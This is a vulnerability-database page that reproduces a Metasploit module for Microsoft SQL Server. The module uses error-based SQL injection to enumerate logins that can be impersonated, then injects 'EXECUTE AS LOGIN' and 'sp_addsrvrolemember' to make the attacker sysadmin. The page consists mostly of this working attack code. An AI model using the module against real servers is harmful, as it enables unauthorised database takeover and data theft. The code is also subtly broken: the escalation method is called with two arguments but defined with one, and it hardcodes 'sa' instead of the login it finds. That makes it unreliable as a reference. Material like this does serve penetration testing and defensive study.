Lucene search
K

Microsoft SQL Server SQL Injection Escalate Execute AS

🗓️ 31 Aug 2024 00:00:00Reported by Jay Turla, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 121 Views

Microsoft SQL Server SQL Injection Escalate Execute AS This module escalates privileges via error based SQL injection to gain sysadmin privileges

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::MSSQL_SQLI  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft SQL Server SQLi Escalate Execute AS',  
'Description' => %q{  
This module can be used escalate privileges if the IMPERSONATION privilege has been  
assigned to the user via error based SQL injection. In most cases, this results in  
additional data access, but in some cases it can be used to gain sysadmin privileges.  
The syntax for injection URLs is: /testing.asp?id=1+and+1=[SQLi];--  
},  
'Author' => ['nullbind <scott.sutherland[at]netspi.com>'],  
'License' => MSF_LICENSE,  
'References' => [['URL','http://msdn.microsoft.com/en-us/library/ms178640.aspx']]  
))  
end  
  
def run  
# Get the database user name  
print_status("Grabbing the database user name...")  
db_user = get_username  
if db_user.nil?  
print_error("Unable to grab user name...")  
return  
else  
print_good("Database user: #{db_user}")  
end  
  
# Grab sysadmin status  
print_status("Checking if #{db_user} is already a sysadmin...")  
admin_status = check_sysadmin  
  
if admin_status.nil?  
print_error("Couldn't retrieve user status, aborting...")  
return  
elsif admin_status == '1'  
print_error("#{db_user} is already a sysadmin, no escalation needed.")  
return  
else  
print_status("#{db_user} is NOT a sysadmin, let's try to escalate privileges.")  
end  
  
# Get list of users that can be impersonated  
print_status("Enumerating a list of users that can be impersonated...")  
imp_user_list = check_imp_users  
if imp_user_list.nil? || imp_user_list.empty?  
print_error("Sorry, the current user doesnt have permissions to impersonate anyone.")  
return  
else  
# Display list of users that can be impersonated  
print_good("#{imp_user_list.length} users can be impersonated:")  
imp_user_list.each do |dbuser|  
print_status(" #{dbuser}")  
end  
end  
  
# Check if any of the users that can be impersonated are sysadmins  
print_status("Checking if any of them are sysadmins...")  
imp_user_sysadmin = check_imp_sysadmin(imp_user_list)  
if imp_user_sysadmin.nil?  
print_error("Sorry, none of the users that can be impersonated are sysadmins.")  
return  
end  
  
# Attempt to escalate to sysadmin  
print_status("Attempting to impersonate #{imp_user_sysadmin}...")  
escalate_privs(imp_user_sysadmin,db_user)  
  
admin_status = check_sysadmin  
if admin_status && admin_status == '1'  
print_good("Success! #{db_user} is now a sysadmin!")  
else  
print_error("Fail buckets, something went wrong.")  
end  
end  
  
def get_username  
# Setup query to check for database username  
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))  
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))  
sql = "(select '#{clue_start}'+SYSTEM_USER+'#{clue_end}')"  
  
# Run query  
result = mssql_query(sql)  
  
# Parse result  
if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/  
user_name = $1  
else  
user_name = nil  
end  
  
user_name  
end  
  
def check_sysadmin  
# Setup query to check for sysadmin  
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))  
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))  
sql = "(select '#{clue_start}'+cast((select is_srvrolemember('sysadmin'))as varchar)+'#{clue_end}')"  
  
# Run query  
result = mssql_query(sql)  
  
# Parse result  
if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/  
status = $1  
else  
status = nil  
end  
  
status  
end  
  
def check_imp_users  
# Setup query to check for trusted databases owned by sysadmins  
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))  
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))  
  
# Setup query  
sql = "(select cast((SELECT DISTINCT '#{clue_start}'+b.name+'#{clue_end}'  
FROM sys.server_permissions a  
INNER JOIN sys.server_principals b  
ON a.grantor_principal_id = b.principal_id  
WHERE a.permission_name = 'IMPERSONATE' for xml path('')) as int))"  
  
# Run query  
res = mssql_query(sql)  
  
unless res && res.body  
return nil  
end  
  
#Parse results  
parsed_result = res.body.scan(/#{clue_start}(.*?)#{clue_end}/m)  
  
if parsed_result && !parsed_result.empty?  
parsed_result.flatten!  
parsed_result.uniq!  
end  
  
parsed_result  
end  
  
def check_imp_sysadmin(imp_user_list)  
# Check if the user has the db_owner role is any databases  
imp_user_list.each do |imp_user|  
# Setup query  
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))  
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))  
  
sql = "(select '#{clue_start}'+cast((select is_srvrolemember('sysadmin','#{imp_user}'))as varchar)+'#{clue_end}')"  
  
# Run query  
result = mssql_query(sql)  
  
unless result && result.body  
next  
end  
  
#Parse results  
parsed_result = result.body.scan(/#{clue_start}(.*?)#{clue_end}/m)  
  
if parsed_result && !parsed_result.empty?  
parsed_result.flatten!  
parsed_result.uniq!  
end  
  
# check if user is a sysadmin  
if parsed_result && parsed_result[0] == '1'  
print_good(" #{imp_user} is a sysadmin!")  
return imp_user  
else  
print_status(" #{imp_user} is NOT a sysadmin")  
end  
end  
  
nil  
end  
  
# Attempt to escalate privileges  
def escalate_privs(db_user)  
  
# Setup Query - Impersonate the first sysadmin user on the list  
evil_sql = "1;EXECUTE AS LOGIN = 'sa';EXEC sp_addsrvrolemember '#{db_user}','sysadmin';Revert;--"  
  
# Execute Query  
mssql_query(evil_sql)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2024 00:00Current
7.4High risk
Vulners AI Score7.4
121